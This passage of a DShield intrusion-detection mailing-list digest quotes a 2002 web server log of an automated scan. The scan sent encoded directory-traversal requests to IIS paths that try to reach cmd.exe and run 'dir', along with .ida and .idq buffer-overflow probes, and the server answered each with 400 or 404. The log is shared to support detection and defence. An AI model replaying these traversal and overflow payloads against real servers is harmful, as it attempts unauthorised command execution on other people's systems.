/exchange/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/exchange/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/exchange/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/exchange/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/exchange/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.ex
e?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/MSADC/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd
.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/MSADC/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/MSADC/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/MSADC/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/msadc/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/PBServer/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd
.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/PBServer/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/PBServer/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/PBServer/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400
0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/PBServer/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:16 +0200] "HEAD
/PBServer/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/PBServer/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/PBServer/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/PBServer/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/PBServer/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/PBServer/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/PBServer/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?
/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/Rpc/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0"
400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.
exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+di
r HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/samples/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:17 +0200] "HEAD
/script/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.e
xe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/script/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cm
d.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/script/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.
exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/script/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+d
ir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/c
md.exe?/c+dir HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-"
"-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u00255c../..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u002f../..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u005c../..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0
"-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 "-" "-"
"-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c%20dir%2
0C:\ HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c%20dir%20
C:\ HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c%20dir%20C:\
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:18 +0200] "HEAD
/scripts/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c%20dir%20C:\
HTTP/1.0" 400 0 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:19 +0200] "GET /NULL.printer
HTTP/1.1" 404 295 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:19 +0200] "GET
/NULL.ida?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA=a HTTP/1.0" 404 279 "-" "-" "-"
a.b.c.d - - [06/Jun/2002:15:11:19 +0200] "GET /NULL.idq?HTTP/1.1 404
Not
FouAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=a HTTP/1.0" 404 279
"-" "-" "-"




--
---------------------------------------------------------------
jullrich at sans.org             Collaborative Intrusion Detection
join http://www.dshield.org



--__--__--

_______________________________________________
Dshield mailing list
Dshield at dshield.org
http://www.dshield.org/mailman/listinfo/list


End of Dshield Digest




More information about the list mailing list